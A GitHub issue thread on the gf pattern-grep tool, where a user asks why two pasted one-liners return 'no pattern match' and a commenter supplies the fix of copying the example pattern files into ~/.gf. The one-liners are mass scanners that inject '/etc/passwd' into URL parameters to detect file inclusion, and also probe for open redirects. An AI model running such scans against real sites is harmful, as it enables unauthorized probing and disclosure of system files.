8000 no pattern match · Issue #56 · tomnomnom/gf · GitHub
[go: up one dir, main page]

Skip to content

no pattern match #56

Open
Open

Description

@khangaekata

Hello

Whenever I include gf in any one liner , I always get no pattern match error.
I have given two one liners below where I am getting this error.
gau $1 | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
export LHOST="http://localhost"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'

Could you please tell me why it is happening ?

Best Regards,

Ashish

Activity

  1. HetVikam commented on Mar 31, 2021

    @HetVikam

    facing a similar issue, can someone help?

  2. stlthwzrd commented on May 12, 2021

    @stlthwzrd

    My findings:

    When performing 'gf --list' I got no results and I found I did not have a ~/.gf directory. I searched and found the json pattern files here: /home/[username]/go/src/github.com/tomnomnom/gf/examples/

    My fix:
    mkdir ~/.gf && cp /home/[username]/go/src/github.com/tomnomnom/gf/examples/* ~/.gf/

    gf works as expected now.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions

      0